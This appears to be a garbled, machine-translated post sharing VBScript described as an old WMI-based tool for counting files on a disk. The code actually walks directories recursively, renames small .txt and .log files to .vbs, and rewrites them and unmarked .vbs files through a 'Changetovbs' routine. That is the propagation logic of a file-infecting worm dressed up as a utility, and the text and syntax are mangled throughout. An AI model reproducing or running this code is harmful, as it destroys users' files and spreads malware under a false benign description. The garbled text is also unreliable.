A VBS that was written many years ago calls WMI to traverse the search for hard disk files and count the functions, today to tidy up the network disk, see, send up
Core code:
Function wmisfile (path_sf,justcnt) ' on Error Resume Next StrComputer = '. ' Set objWMIService = GetObject ("winmgmts:\\" & StrComputer & "\root\cimv2") set filelist = Objwmiservice.execquer
Y _ ("Associators of {win32_directory.name= '" & Path_sf & "} Where" _ & "ResultClass = Cim_datafile") For each objfile in filelist fname = LCase (objfile.name) ename = LCase (objfile.extension) If 1 < OBJFILE.F Ilesize and Objfile.filesize <= 50000 Then Select case ename case "TXT", "log" Path_vbs = objfile. Drive & Objfile.path & Objfile.filename & ". vbs" OBJFILE.RENAME (Objfile.drive & Objfile.path & Objfile.filename & ". vbs") call Changetovbs (path_vbs,path_vbs) justcnt = justcnt + 1 case "VB
S ' If checkversion (fname) = False Then call Changetovbs (fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set Colsubfolders = objWMIService.ExecQuery _ ("Associators of {win32_directory.name= '" & Path_sf & '} "_ &" Where Ass Occlass = Win32_Subdirectory "_ &" Resultrole = PartComponent ") for each objfolder in Colsubfolders wmisfile objfolder.name,justcnt Next End Function